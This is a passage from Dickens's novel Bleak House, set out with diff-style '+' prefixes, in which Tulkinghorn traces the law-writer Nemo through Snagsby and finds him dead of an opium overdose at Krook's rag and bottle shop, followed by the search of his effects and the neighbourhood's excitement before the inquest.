+of the many tongues of Rumour this frothy report originated, it
+either never reached or never influenced the ears of young Snagsby,
+who, having wooed and won its fair subject on his arrival at man's
+estate, entered into two partnerships at once. So now, in Cook's
+Court, Cursitor Street, Mr. Snagsby and the niece are one; and the
+niece still cherishes her figure, which, however tastes may differ,
+is unquestionably so far precious that there is mighty little of it.
+
+Mr. and Mrs. Snagsby are not only one bone and one flesh, but, to the
+neighbours' thinking, one voice too. That voice, appearing to proceed
+from Mrs. Snagsby alone, is heard in Cook's Court very often. Mr.
+Snagsby, otherwise than as he finds expression through these dulcet
+tones, is rarely heard. He is a mild, bald, timid man with a shining
+head and a scrubby clump of black hair sticking out at the back. He
+tends to meekness and obesity. As he stands at his door in Cook's
+Court in his grey shop-coat and black calico sleeves, looking up at
+the clouds, or stands behind a desk in his dark shop with a heavy
+flat ruler, snipping and slicing at sheepskin in company with his two
+'prentices, he is emphatically a retiring and unassuming man. From
+beneath his feet, at such times, as from a shrill ghost unquiet in
+its grave, there frequently arise complainings and lamentations in
+the voice already mentioned; and haply, on some occasions when these
+reach a sharper pitch than usual, Mr. Snagsby mentions to the
+'prentices, "I think my little woman is a-giving it to Guster!"
+
+This proper name, so used by Mr. Snagsby, has before now sharpened
+the wit of the Cook's Courtiers to remark that it ought to be the
+name of Mrs. Snagsby, seeing that she might with great force and
+expression be termed a Guster, in compliment to her stormy character.
+It is, however, the possession, and the only possession except fifty
+shillings per annum and a very small box indifferently filled with
+clothing, of a lean young woman from a workhouse (by some supposed to
+have been christened Augusta) who, although she was farmed or
+contracted for during her growing time by an amiable benefactor of
+his species resident at Tooting, and cannot fail to have been
+developed under the most favourable circumstances, "has fits," which
+the parish can't account for.
+
+Guster, really aged three or four and twenty, but looking a round ten
+years older, goes cheap with this unaccountable drawback of fits, and
+is so apprehensive of being returned on the hands of her patron saint
+that except when she is found with her head in the pail, or the sink,
+or the copper, or the dinner, or anything else that happens to be
+near her at the time of her seizure, she is always at work. She is a
+satisfaction to the parents and guardians of the 'prentices, who feel
+that there is little danger of her inspiring tender emotions in the
+breast of youth; she is a satisfaction to Mrs. Snagsby, who can
+always find fault with her; she is a satisfaction to Mr. Snagsby, who
+thinks it a charity to keep her. The law-stationer's establishment
+is, in Guster's eyes, a temple of plenty and splendour. She believes
+the little drawing-room upstairs, always kept, as one may say, with
+its hair in papers and its pinafore on, to be the most elegant
+apartment in Christendom. The view it commands of Cook's Court at one
+end (not to mention a squint into Cursitor Street) and of Coavinses'
+the sheriff's officer's backyard at the other she regards as a
+prospect of unequalled beauty. The portraits it displays in oil--and
+plenty of it too--of Mr. Snagsby looking at Mrs. Snagsby and of Mrs.
+Snagsby looking at Mr. Snagsby are in her eyes as achievements of
+Raphael or Titian. Guster has some recompenses for her many
+privations.
+
+Mr. Snagsby refers everything not in the practical mysteries of the
+business to Mrs. Snagsby. She manages the money, reproaches the
+tax-gatherers, appoints the times and places of devotion on Sundays,
+licenses Mr. Snagsby's entertainments, and acknowledges no
+responsibility as to what she thinks fit to provide for dinner,
+insomuch that she is the high standard of comparison among the
+neighbouring wives a long way down Chancery Lane on both sides, and
+even out in Holborn, who in any domestic passages of arms habitually
+call upon their husbands to look at the difference between their (the
+wives') position and Mrs. Snagsby's, and their (the husbands')
+behaviour and Mr. Snagsby's. Rumour, always flying bat-like about
+Cook's Court and skimming in and out at everybody's windows, does say
+that Mrs. Snagsby is jealous and inquisitive and that Mr. Snagsby is
+sometimes worried out of house and home, and that if he had the
+spirit of a mouse he wouldn't stand it. It is even observed that the
+wives who quote him to their self-willed husbands as a shining
+example in reality look down upon him and that nobody does so with
+greater superciliousness than one particular lady whose lord is more
+than suspected of laying his umbrella on her as an instrument of
+correction. But these vague whisperings may arise from Mr. Snagsby's
+being in his way rather a meditative and poetical man, loving to walk
+in Staple Inn in the summer-time and to observe how countrified the
+sparrows and the leaves are, also to lounge about the Rolls Yard of a
+Sunday afternoon and to remark (if in good spirits) that there were
+old times once and that you'd find a stone coffin or two now under
+that chapel, he'll be bound, if you was to dig for it. He solaces his
+imagination, too, by thinking of the many Chancellors and Vices, and
+Masters of the Rolls who are deceased; and he gets such a flavour of
+the country out of telling the two 'prentices how he HAS heard say
+that a brook "as clear as crystal" once ran right down the middle of
+Holborn, when Turnstile really was a turnstile, leading slap away
+into the meadows--gets such a flavour of the country out of this that
+he never wants to go there.
+
+The day is closing in and the gas is lighted, but is not yet fully
+effective, for it is not quite dark. Mr. Snagsby standing at his
+shop-door looking up at the clouds sees a crow who is out late skim
+westward over the slice of sky belonging to Cook's Court. The crow
+flies straight across Chancery Lane and Lincoln's Inn Garden into
+Lincoln's Inn Fields.
+
+Here, in a large house, formerly a house of state, lives Mr.
+Tulkinghorn. It is let off in sets of chambers now, and in those
+shrunken fragments of its greatness, lawyers lie like maggots in
+nuts. But its roomy staircases, passages, and antechambers still
+remain; and even its painted ceilings, where Allegory, in Roman
+helmet and celestial linen, sprawls among balustrades and pillars,
+flowers, clouds, and big-legged boys, and makes the head ache--as
+would seem to be Allegory's object always, more or less. Here, among
+his many boxes labelled with transcendent names, lives Mr.
+Tulkinghorn, when not speechlessly at home in country-houses where
+the great ones of the earth are bored to death. Here he is to-day,
+quiet at his table. An oyster of the old school whom nobody can open.
+
+Like as he is to look at, so is his apartment in the dusk of
+the present afternoon. Rusty, out of date, withdrawing from
+attention, able to afford it. Heavy, broad-backed, old-fashioned,
+mahogany-and-horsehair chairs, not easily lifted; obsolete tables
+with spindle-legs and dusty baize covers; presentation prints of the
+holders of great titles in the last generation or the last but one,
+environ him. A thick and dingy Turkey-carpet muffles the floor where
+he sits, attended by two candles in old-fashioned silver candlesticks
+that give a very insufficient light to his large room. The titles on
+the backs of his books have retired into the binding; everything that
+can have a lock has got one; no key is visible. Very few loose papers
+are about. He has some manuscript near him, but is not referring
+to it. With the round top of an inkstand and two broken bits of
+sealing-wax he is silently and slowly working out whatever train of
+indecision is in his mind. Now the inkstand top is in the middle, now
+the red bit of sealing-wax, now the black bit. That's not it. Mr.
+Tulkinghorn must gather them all up and begin again.
+
+Here, beneath the painted ceiling, with foreshortened Allegory
+staring down at his intrusion as if it meant to swoop upon him, and
+he cutting it dead, Mr. Tulkinghorn has at once his house and office.
+He keeps no staff, only one middle-aged man, usually a little out at
+elbows, who sits in a high pew in the hall and is rarely overburdened
+with business. Mr. Tulkinghorn is not in a common way. He wants no
+clerks. He is a great reservoir of confidences, not to be so tapped.
+His clients want HIM; he is all in all. Drafts that he requires to be
+drawn are drawn by special-pleaders in the temple on mysterious
+instructions; fair copies that he requires to be made are made at the
+stationers', expense being no consideration. The middle-aged man in
+the pew knows scarcely more of the affairs of the peerage than any
+crossing-sweeper in Holborn.
+
+The red bit, the black bit, the inkstand top, the other inkstand top,
+the little sand-box. So! You to the middle, you to the right, you to
+the left. This train of indecision must surely be worked out now or
+never. Now! Mr. Tulkinghorn gets up, adjusts his spectacles, puts on
+his hat, puts the manuscript in his pocket, goes out, tells the
+middle-aged man out at elbows, "I shall be back presently." Very
+rarely tells him anything more explicit.
+
+Mr. Tulkinghorn goes, as the crow came--not quite so straight, but
+nearly--to Cook's Court, Cursitor Street. To Snagsby's,
+Law-Stationer's, Deeds engrossed and copied, Law-Writing executed in
+all its branches, &c., &c., &c.
+
+It is somewhere about five or six o'clock in the afternoon, and a
+balmy fragrance of warm tea hovers in Cook's Court. It hovers about
+Snagsby's door. The hours are early there: dinner at half-past one
+and supper at half-past nine. Mr. Snagsby was about to descend into
+the subterranean regions to take tea when he looked out of his door
+just now and saw the crow who was out late.
+
+"Master at home?"
+
+Guster is minding the shop, for the 'prentices take tea in the
+kitchen with Mr. and Mrs. Snagsby; consequently, the robe-maker's two
+daughters, combing their curls at the two glasses in the two
+second-floor windows of the opposite house, are not driving the two
+'prentices to distraction as they fondly suppose, but are merely
+awakening the unprofitable admiration of Guster, whose hair won't
+grow, and never would, and it is confidently thought, never will.
+
+"Master at home?" says Mr. Tulkinghorn.
+
+Master is at home, and Guster will fetch him. Guster disappears, glad
+to get out of the shop, which she regards with mingled dread and
+veneration as a storehouse of awful implements of the great torture
+of the law--a place not to be entered after the gas is turned off.
+
+Mr. Snagsby appears, greasy, warm, herbaceous, and chewing. Bolts a
+bit of bread and butter. Says, "Bless my soul, sir! Mr. Tulkinghorn!"
+
+"I want half a word with you, Snagsby."
+
+"Certainly, sir! Dear me, sir, why didn't you send your young man
+round for me? Pray walk into the back shop, sir." Snagsby has
+brightened in a moment.
+
+The confined room, strong of parchment-grease, is warehouse,
+counting-house, and copying-office. Mr. Tulkinghorn sits, facing
+round, on a stool at the desk.
+
+"Jarndyce and Jarndyce, Snagsby."
+
+"Yes, sir." Mr. Snagsby turns up the gas and coughs behind his hand,
+modestly anticipating profit. Mr. Snagsby, as a timid man, is
+accustomed to cough with a variety of expressions, and so to save
+words.
+
+"You copied some affidavits in that cause for me lately."
+
+"Yes, sir, we did."
+
+"There was one of them," says Mr. Tulkinghorn, carelessly
+feeling--tight, unopenable oyster of the old school!--in the wrong
+coat-pocket, "the handwriting of which is peculiar, and I rather
+like. As I happened to be passing, and thought I had it about me, I
+looked in to ask you--but I haven't got it. No matter, any other time
+will do. Ah! here it is! I looked in to ask you who copied this."
+
+"Who copied this, sir?" says Mr. Snagsby, taking it, laying it flat
+on the desk, and separating all the sheets at once with a twirl and a
+twist of the left hand peculiar to lawstationers. "We gave this out,
+sir. We were giving out rather a large quantity of work just at that
+time. I can tell you in a moment who copied it, sir, by referring to
+my book."
+
+Mr. Snagsby takes his book down from the safe, makes another bolt of
+the bit of bread and butter which seemed to have stopped short, eyes
+the affidavit aside, and brings his right forefinger travelling down
+a page of the book, "Jewby--Packer--Jarndyce."
+
+"Jarndyce! Here we are, sir," says Mr. Snagsby. "To be sure! I might
+have remembered it. This was given out, sir, to a writer who lodges
+just over on the opposite side of the lane."
+
+Mr. Tulkinghorn has seen the entry, found it before the
+law-stationer, read it while the forefinger was coming down the hill.
+
+"WHAT do you call him? Nemo?" says Mr. Tulkinghorn. "Nemo, sir. Here
+it is. Forty-two folio. Given out on the Wednesday night at eight
+o'clock, brought in on the Thursday morning at half after nine."
+
+"Nemo!" repeats Mr. Tulkinghorn. "Nemo is Latin for no one."
+
+"It must be English for some one, sir, I think," Mr. Snagsby submits
+with his deferential cough. "It is a person's name. Here it is, you
+see, sir! Forty-two folio. Given out Wednesday night, eight o'clock;
+brought in Thursday morning, half after nine."
+
+The tail of Mr. Snagsby's eye becomes conscious of the head of Mrs.
+Snagsby looking in at the shop-door to know what he means by
+deserting his tea. Mr. Snagsby addresses an explanatory cough to Mrs.
+Snagsby, as who should say, "My dear, a customer!"
+
+"Half after nine, sir," repeats Mr. Snagsby. "Our law-writers, who
+live by job-work, are a queer lot; and this may not be his name, but
+it's the name he goes by. I remember now, sir, that he gives it in a
+written advertisement he sticks up down at the Rule Office, and the
+King's Bench Office, and the Judges' Chambers, and so forth. You know
+the kind of document, sir--wanting employ?"
+
+Mr. Tulkinghorn glances through the little window at the back of
+Coavinses', the sheriff's officer's, where lights shine in Coavinses'
+windows. Coavinses' coffee-room is at the back, and the shadows of
+several gentlemen under a cloud loom cloudily upon the blinds. Mr.
+Snagsby takes the opportunity of slightly turning his head to glance
+over his shoulder at his little woman and to make apologetic motions
+with his mouth to this effect: "Tul-king-horn--rich--in-flu-en-tial!"
+
+"Have you given this man work before?" asks Mr. Tulkinghorn.
+
+"Oh, dear, yes, sir! Work of yours."
+
+"Thinking of more important matters, I forget where you said he
+lived?"
+
+"Across the lane, sir. In fact, he lodges at a--" Mr. Snagsby makes
+another bolt, as if the bit of bread and butter were insurmountable
+"--at a rag and bottle shop."
+
+"Can you show me the place as I go back?"
+
+"With the greatest pleasure, sir!"
+
+Mr. Snagsby pulls off his sleeves and his grey coat, pulls on his
+black coat, takes his hat from its peg. "Oh! Here is my little
+woman!" he says aloud. "My dear, will you be so kind as to tell one
+of the lads to look after the shop while I step across the lane with
+Mr. Tulkinghorn? Mrs. Snagsby, sir--I shan't be two minutes, my
+love!"
+
+Mrs. Snagsby bends to the lawyer, retires behind the counter, peeps
+at them through the window-blind, goes softly into the back office,
+refers to the entries in the book still lying open. Is evidently
+curious.
+
+"You will find that the place is rough, sir," says Mr. Snagsby,
+walking deferentially in the road and leaving the narrow pavement to
+the lawyer; "and the party is very rough. But they're a wild lot in
+general, sir. The advantage of this particular man is that he never
+wants sleep. He'll go at it right on end if you want him to, as long
+as ever you like."
+
+It is quite dark now, and the gas-lamps have acquired their full
+effect. Jostling against clerks going to post the day's letters, and
+against counsel and attorneys going home to dinner, and against
+plaintiffs and defendants and suitors of all sorts, and against the
+general crowd, in whose way the forensic wisdom of ages has
+interposed a million of obstacles to the transaction of the commonest
+business of life; diving through law and equity, and through that
+kindred mystery, the street mud, which is made of nobody knows what
+and collects about us nobody knows whence or how--we only knowing in
+general that when there is too much of it we find it necessary to
+shovel it away--the lawyer and the law-stationer come to a rag and
+bottle shop and general emporium of much disregarded merchandise,
+lying and being in the shadow of the wall of Lincoln's Inn, and kept,
+as is announced in paint, to all whom it may concern, by one Krook.
+
+"This is where he lives, sir," says the law-stationer.
+
+"This is where he lives, is it?" says the lawyer unconcernedly.
+"Thank you."
+
+"Are you not going in, sir?"
+
+"No, thank you, no; I am going on to the Fields at present. Good
+evening. Thank you!" Mr. Snagsby lifts his hat and returns to his
+little woman and his tea.
+
+But Mr. Tulkinghorn does not go on to the Fields at present. He goes
+a short way, turns back, comes again to the shop of Mr. Krook, and
+enters it straight. It is dim enough, with a blot-headed candle or so
+in the windows, and an old man and a cat sitting in the back part by
+a fire. The old man rises and comes forward, with another blot-headed
+candle in his hand.
+
+"Pray is your lodger within?"
+
+"Male or female, sir?" says Mr. Krook.
+
+"Male. The person who does copying."
+
+Mr. Krook has eyed his man narrowly. Knows him by sight. Has an
+indistinct impression of his aristocratic repute.
+
+"Did you wish to see him, sir?"
+
+"Yes."
+
+"It's what I seldom do myself," says Mr. Krook with a grin. "Shall I
+call him down? But it's a weak chance if he'd come, sir!"
+
+"I'll go up to him, then," says Mr. Tulkinghorn.
+
+"Second floor, sir. Take the candle. Up there!" Mr. Krook, with his
+cat beside him, stands at the bottom of the staircase, looking after
+Mr. Tulkinghorn. "Hi-hi!" he says when Mr. Tulkinghorn has nearly
+disappeared. The lawyer looks down over the hand-rail. The cat
+expands her wicked mouth and snarls at him.
+
+"Order, Lady Jane! Behave yourself to visitors, my lady! You know
+what they say of my lodger?" whispers Krook, going up a step or two.
+
+"What do they say of him?"
+
+"They say he has sold himself to the enemy, but you and I know
+better--he don't buy. I'll tell you what, though; my lodger is so
+black-humoured and gloomy that I believe he'd as soon make that
+bargain as any other. Don't put him out, sir. That's my advice!"
+
+Mr. Tulkinghorn with a nod goes on his way. He comes to the dark door
+on the second floor. He knocks, receives no answer, opens it, and
+accidentally extinguishes his candle in doing so.
+
+The air of the room is almost bad enough to have extinguished it if
+he had not. It is a small room, nearly black with soot, and grease,
+and dirt. In the rusty skeleton of a grate, pinched at the middle as
+if poverty had gripped it, a red coke fire burns low. In the corner
+by the chimney stand a deal table and a broken desk, a wilderness
+marked with a rain of ink. In another corner a ragged old portmanteau
+on one of the two chairs serves for cabinet or wardrobe; no larger
+one is needed, for it collapses like the cheeks of a starved man. The
+floor is bare, except that one old mat, trodden to shreds of
+rope-yarn, lies perishing upon the hearth. No curtain veils the
+darkness of the night, but the discoloured shutters are drawn
+together, and through the two gaunt holes pierced in them, famine
+might be staring in--the banshee of the man upon the bed.
+
+For, on a low bed opposite the fire, a confusion of dirty patchwork,
+lean-ribbed ticking, and coarse sacking, the lawyer, hesitating just
+within the doorway, sees a man. He lies there, dressed in shirt and
+trousers, with bare feet. He has a yellow look in the spectral
+darkness of a candle that has guttered down until the whole length of
+its wick (still burning) has doubled over and left a tower of
+winding-sheet above it. His hair is ragged, mingling with his
+whiskers and his beard--the latter, ragged too, and grown, like the
+scum and mist around him, in neglect. Foul and filthy as the room is,
+foul and filthy as the air is, it is not easy to perceive what fumes
+those are which most oppress the senses in it; but through the
+general sickliness and faintness, and the odour of stale tobacco,
+there comes into the lawyer's mouth the bitter, vapid taste of opium.
+
+"Hallo, my friend!" he cries, and strikes his iron candlestick
+against the door.
+
+He thinks he has awakened his friend. He lies a little turned away,
+but his eyes are surely open.
+
+"Hallo, my friend!" he cries again. "Hallo! Hallo!"
+
+As he rattles on the door, the candle which has drooped so long goes
+out and leaves him in the dark, with the gaunt eyes in the shutters
+staring down upon the bed.
+
+
+
+
+CHAPTER XI
+
+Our Dear Brother
+
+
+A touch on the lawyer's wrinkled hand as he stands in the dark room,
+irresolute, makes him start and say, "What's that?"
+
+"It's me," returns the old man of the house, whose breath is in his
+ear. "Can't you wake him?"
+
+"No."
+
+"What have you done with your candle?"
+
+"It's gone out. Here it is."
+
+Krook takes it, goes to the fire, stoops over the red embers, and
+tries to get a light. The dying ashes have no light to spare, and his
+endeavours are vain. Muttering, after an ineffectual call to his
+lodger, that he will go downstairs and bring a lighted candle from
+the shop, the old man departs. Mr. Tulkinghorn, for some new reason
+that he has, does not await his return in the room, but on the stairs
+outside.
+
+The welcome light soon shines upon the wall, as Krook comes slowly up
+with his green-eyed cat following at his heels. "Does the man
+generally sleep like this?" inquired the lawyer in a low voice. "Hi!
+I don't know," says Krook, shaking his head and lifting his eyebrows.
+"I know next to nothing of his habits except that he keeps himself
+very close."
+
+Thus whispering, they both go in together. As the light goes in, the
+great eyes in the shutters, darkening, seem to close. Not so the eyes
+upon the bed.
+
+"God save us!" exclaims Mr. Tulkinghorn. "He is dead!" Krook drops
+the heavy hand he has taken up so suddenly that the arm swings over
+the bedside.
+
+They look at one another for a moment.
+
+"Send for some doctor! Call for Miss Flite up the stairs, sir. Here's
+poison by the bed! Call out for Flite, will you?" says Krook, with
+his lean hands spread out above the body like a vampire's wings.
+
+Mr. Tulkinghorn hurries to the landing and calls, "Miss Flite! Flite!
+Make haste, here, whoever you are! Flite!" Krook follows him with his
+eyes, and while he is calling, finds opportunity to steal to the old
+portmanteau and steal back again.
+
+"Run, Flite, run! The nearest doctor! Run!" So Mr. Krook addresses a
+crazy little woman who is his female lodger, who appears and vanishes
+in a breath, who soon returns accompanied by a testy medical man
+brought from his dinner, with a broad, snuffy upper lip and a broad
+Scotch tongue.
+
+"Ey! Bless the hearts o' ye," says the medical man, looking up at
+them after a moment's examination. "He's just as dead as Phairy!"
+
+Mr. Tulkinghorn (standing by the old portmanteau) inquires if he has
+been dead any time.
+
+"Any time, sir?" says the medical gentleman. "It's probable he wull
+have been dead aboot three hours."
+
+"About that time, I should say," observes a dark young man on the
+other side of the bed.
+
+"Air you in the maydickle prayfession yourself, sir?" inquires the
+first.
+
+The dark young man says yes.
+
+"Then I'll just tak' my depairture," replies the other, "for I'm nae
+gude here!" With which remark he finishes his brief attendance and
+returns to finish his dinner.
+
+The dark young surgeon passes the candle across and across the face
+and carefully examines the law-writer, who has established his
+pretensions to his name by becoming indeed No one.
+
+"I knew this person by sight very well," says he. "He has purchased
+opium of me for the last year and a half. Was anybody present related
+to him?" glancing round upon the three bystanders.
+
+"I was his landlord," grimly answers Krook, taking the candle from
+the surgeon's outstretched hand. "He told me once I was the nearest
+relation he had."
+
+"He has died," says the surgeon, "of an over-dose of opium, there is
+no doubt. The room is strongly flavoured with it. There is enough
+here now," taking an old tea-pot from Mr. Krook, "to kill a dozen
+people."
+
+"Do you think he did it on purpose?" asks Krook.
+
+"Took the over-dose?"
+
+"Yes!" Krook almost smacks his lips with the unction of a horrible
+interest.
+
+"I can't say. I should think it unlikely, as he has been in the habit
+of taking so much. But nobody can tell. He was very poor, I suppose?"
+
+"I suppose he was. His room--don't look rich," says Krook, who might
+have changed eyes with his cat, as he casts his sharp glance around.
+"But I have never been in it since he had it, and he was too close to
+name his circumstances to me."
+
+"Did he owe you any rent?"
+
+"Six weeks."
+
+"He will never pay it!" says the young man, resuming his examination.
+"It is beyond a doubt that he is indeed as dead as Pharaoh; and to
+judge from his appearance and condition, I should think it a happy
+release. Yet he must have been a good figure when a youth, and I dare
+say, good-looking." He says this, not unfeelingly, while sitting on
+the bedstead's edge with his face towards that other face and his
+hand upon the region of the heart. "I recollect once thinking there
+was something in his manner, uncouth as it was, that denoted a fall
+in life. Was that so?" he continues, looking round.
+
+Krook replies, "You might as well ask me to describe the ladies whose
+heads of hair I have got in sacks downstairs. Than that he was my
+lodger for a year and a half and lived--or didn't live--by
+law-writing, I know no more of him."
+
+During this dialogue Mr. Tulkinghorn has stood aloof by the old
+portmanteau, with his hands behind him, equally removed, to all
+appearance, from all three kinds of interest exhibited near the
+bed--from the young surgeon's professional interest in death,
+noticeable as being quite apart from his remarks on the deceased as
+an individual; from the old man's unction; and the little crazy
+woman's awe. His imperturbable face has been as inexpressive as his
+rusty clothes. One could not even say he has been thinking all this
+while. He has shown neither patience nor impatience, nor attention
+nor abstraction. He has shown nothing but his shell. As easily might
+the tone of a delicate musical instrument be inferred from its case,
+as the tone of Mr. Tulkinghorn from his case.
+
+He now interposes, addressing the young surgeon in his unmoved,
+professional way.
+
+"I looked in here," he observes, "just before you, with the
+intention of giving this deceased man, whom I never saw alive, some
+employment at his trade of copying. I had heard of him from my
+stationer--Snagsby of Cook's Court. Since no one here knows anything
+about him, it might be as well to send for Snagsby. Ah!" to the
+little crazy woman, who has often seen him in court, and whom he has
+often seen, and who proposes, in frightened dumb-show, to go for the
+law-stationer. "Suppose you do!"
+
+While she is gone, the surgeon abandons his hopeless investigation
+and covers its subject with the patchwork counterpane. Mr. Krook and
+he interchange a word or two. Mr. Tulkinghorn says nothing, but
+stands, ever, near the old portmanteau.
+
+Mr. Snagsby arrives hastily in his grey coat and his black sleeves.
+"Dear me, dear me," he says; "and it has come to this, has it! Bless
+my soul!"
+
+"Can you give the person of the house any information about this
+unfortunate creature, Snagsby?" inquires Mr. Tulkinghorn. "He was in
+arrears with his rent, it seems. And he must be buried, you know."
+
+"Well, sir," says Mr. Snagsby, coughing his apologetic cough behind
+his hand, "I really don't know what advice I could offer, except
+sending for the beadle."
+
+"I don't speak of advice," returns Mr. Tulkinghorn. "I could
+advise--"
+
+"No one better, sir, I am sure," says Mr. Snagsby, with his
+deferential cough.
+
+"I speak of affording some clue to his connexions, or to where he
+came from, or to anything concerning him."
+
+"I assure you, sir," says Mr. Snagsby after prefacing his reply with
+his cough of general propitiation, "that I no more know where he came
+from than I know--"
+
+"Where he has gone to, perhaps," suggests the surgeon to help him
+out.
+
+A pause. Mr. Tulkinghorn looking at the law-stationer. Mr. Krook,
+with his mouth open, looking for somebody to speak next.
+
+"As to his connexions, sir," says Mr. Snagsby, "if a person was to
+say to me, 'Snagsby, here's twenty thousand pound down, ready for you
+in the Bank of England if you'll only name one of 'em,' I couldn't do
+it, sir! About a year and a half ago--to the best of my belief, at
+the time when he first came to lodge at the present rag and bottle
+shop--"
+
+"That was the time!" says Krook with a nod.
+
+"About a year and a half ago," says Mr. Snagsby, strengthened, "he
+came into our place one morning after breakfast, and finding my
+little woman (which I name Mrs. Snagsby when I use that appellation)
+in our shop, produced a specimen of his handwriting and gave her to
+understand that he was in want of copying work to do and was, not to
+put too fine a point upon it," a favourite apology for plain speaking
+with Mr. Snagsby, which he always offers with a sort of argumentative
+frankness, "hard up! My little woman is not in general partial to
+strangers, particular--not to put too fine a point upon it--when they
+want anything. But she was rather took by something about this
+person, whether by his being unshaved, or by his hair being in want
+of attention, or by what other ladies' reasons, I leave you to judge;
+and she accepted of the specimen, and likewise of the address. My
+little woman hasn't a good ear for names," proceeds Mr. Snagsby after
+consulting his cough of consideration behind his hand, "and she
+considered Nemo equally the same as Nimrod. In consequence of which,
+she got into a habit of saying to me at meals, 'Mr. Snagsby, you
+haven't found Nimrod any work yet!' or 'Mr. Snagsby, why didn't you
+give that eight and thirty Chancery folio in Jarndyce to Nimrod?' or
+such like. And that is the way he gradually fell into job-work at our
+place; and that is the most I know of him except that he was a quick
+hand, and a hand not sparing of night-work, and that if you gave him
+out, say, five and forty folio on the Wednesday night, you would have
+it brought in on the Thursday morning. All of which--" Mr. Snagsby
+concludes by politely motioning with his hat towards the bed, as much
+as to add, "I have no doubt my honourable friend would confirm if he
+were in a condition to do it."
+
+"Hadn't you better see," says Mr. Tulkinghorn to Krook, "whether he
+had any papers that may enlighten you? There will be an inquest, and
+you will be asked the question. You can read?"
+
+"No, I can't," returns the old man with a sudden grin.
+
+"Snagsby," says Mr. Tulkinghorn, "look over the room for him. He will
+get into some trouble or difficulty otherwise. Being here, I'll wait
+if you make haste, and then I can testify on his behalf, if it should
+ever be necessary, that all was fair and right. If you will hold the
+candle for Mr. Snagsby, my friend, he'll soon see whether there is
+anything to help you."
+
+"In the first place, here's an old portmanteau, sir," says Snagsby.
+
+Ah, to be sure, so there is! Mr. Tulkinghorn does not appear to have
+seen it before, though he is standing so close to it, and though
+there is very little else, heaven knows.
+
+The marine-store merchant holds the light, and the law-stationer
+conducts the search. The surgeon leans against the corner of the
+chimney-piece; Miss Flite peeps and trembles just within the door.
+The apt old scholar of the old school, with his dull black breeches
+tied with ribbons at the knees, his large black waistcoat, his
+long-sleeved black coat, and his wisp of limp white neckerchief tied
+in the bow the peerage knows so well, stands in exactly the same
+place and attitude.
+
+There are some worthless articles of clothing in the old portmanteau;
+there is a bundle of pawnbrokers' duplicates, those turnpike tickets
+on the road of poverty; there is a crumpled paper, smelling of opium,
+on which are scrawled rough memoranda--as, took, such a day, so many
+grains; took, such another day, so many more--begun some time ago, as
+if with the intention of being regularly continued, but soon left
+off. There are a few dirty scraps of newspapers, all referring to
+coroners' inquests; there is nothing else. They search the cupboard
+and the drawer of the ink-splashed table. There is not a morsel of an
+old letter or of any other writing in either. The young surgeon
+examines the dress on the law-writer. A knife and some odd halfpence
+are all he finds. Mr. Snagsby's suggestion is the practical
+suggestion after all, and the beadle must be called in.
+
+So the little crazy lodger goes for the beadle, and the rest come out
+of the room. "Don't leave the cat there!" says the surgeon; "that
+won't do!" Mr. Krook therefore drives her out before him, and she
+goes furtively downstairs, winding her lithe tail and licking her
+lips.
+
+"Good night!" says Mr. Tulkinghorn, and goes home to Allegory and
+meditation.
+
+By this time the news has got into the court. Groups of its
+inhabitants assemble to discuss the thing, and the outposts of the
+army of observation (principally boys) are pushed forward to Mr.
+Krook's window, which they closely invest. A policeman has already
+walked up to the room, and walked down again to the door, where he
+stands like a tower, only condescending to see the boys at his base
+occasionally; but whenever he does see them, they quail and fall
+back. Mrs. Perkins, who has not been for some weeks on speaking terms
+with Mrs. Piper in consequence for an unpleasantness originating in
+young Perkins' having "fetched" young Piper "a crack," renews her
+friendly intercourse on this auspicious occasion. The potboy at the
+corner, who is a privileged amateur, as possessing official knowledge
+of life and having to deal with drunken men occasionally, exchanges
+confidential communications with the policeman and has the appearance
+of an impregnable youth, unassailable by truncheons and unconfinable
+in station-houses. People talk across the court out of window, and
+bare-headed scouts come hurrying in from Chancery Lane to know what's
+the matter. The general feeling seems to be that it's a blessing Mr.
+Krook warn't made away with first, mingled with a little natural
+disappointment that he was not. In the midst of this sensation, the
+beadle arrives.
+
+The beadle, though generally understood in the neighbourhood to be a
+ridiculous institution, is not without a certain popularity for the
+moment, if it were only as a man who is going to see the body. The
+policeman considers him an imbecile civilian, a remnant of the
+barbarous watchmen times, but gives him admission as something that
+must be borne with until government shall abolish him. The sensation
+is heightened as the tidings spread from mouth to mouth that the
+beadle is on the ground and has gone in.
+
+By and by the beadle comes out, once more intensifying the sensation,
+which has rather languished in the interval. He is understood to be
+in want of witnesses for the inquest to-morrow who can tell the
+coroner and jury anything whatever respecting the deceased. Is
+immediately referred to innumerable people who can tell nothing
+whatever. Is made more imbecile by being constantly informed that
+Mrs. Green's son "was a law-writer his-self and knowed him better
+than anybody," which son of Mrs. Green's appears, on inquiry, to be
+at the present time aboard a vessel bound for China, three months
+out, but considered accessible by telegraph on application to the
+Lords of the Admiralty. Beadle goes into various shops and parlours,
+examining the inhabitants, always shutting the door first, and by
+exclusion, delay, and general idiotcy exasperating the public.
+Policeman seen to smile to potboy. Public loses interest and
+undergoes reaction. Taunts the beadle in shrill youthful voices with
+having boiled a boy, choruses fragments of a popular song to that
+effect and importing that the boy was made into soup for the
+workhouse. Policeman at last finds it necessary to support the law
+and seize a vocalist, who is released upon the flight of the rest on
+condition of his getting out of this then, come, and cutting it--a
+condition he immediately observes. So the sensation dies off for the
+time; and the unmoved policeman (to whom a little opium, more or
+less, is nothing), with his shining hat, stiff stock, inflexible
+great-coat, stout belt and bracelet, and all things fitting, pursues
+his lounging way with a heavy tread, beating the palms of his white
+gloves one against the other and stopping now and then at a
+street-corner to look casually about for anything between a lost
+child and a murder.
+
+Under cover of the night, the feeble-minded beadle comes flitting
+about Chancery Lane with his summonses, in which every juror's name
+is wrongly spelt, and nothing rightly spelt but the beadle's own
+name, which nobody can read or wants to know. The summonses served
+and his witnesses forewarned, the beadle goes to Mr. Krook's to keep
+a small appointment he has made with certain paupers, who, presently
+arriving, are conducted upstairs, where they leave the great eyes in
+the shutter something new to stare at, in that last shape which
+earthly lodgings take for No one--and for Every one.
+
+And all that night the coffin stands ready by the old portmanteau;
+and the lonely figure on the bed, whose path in life has lain through
+five and forty years, lies there with no more track behind him that
+any one can trace than a deserted infant.
+
+Next day the court is all alive--is like a fair, as Mrs. Perkins,
+more than reconciled to Mrs. Piper, says in amicable conversation
+with that excellent woman. The coroner is to sit in the first-floor
+room at the Sol's Arms, where the Harmonic Meetings take place twice
+a week and where the chair is filled by a gentleman of professional
+celebrity, faced by Little Swills, the comic vocalist, who hopes
+(according to the bill in the window) that his friends will rally
+round him and support first-rate talent. The Sol's Arms does a brisk
+stroke of business all the morning. Even children so require
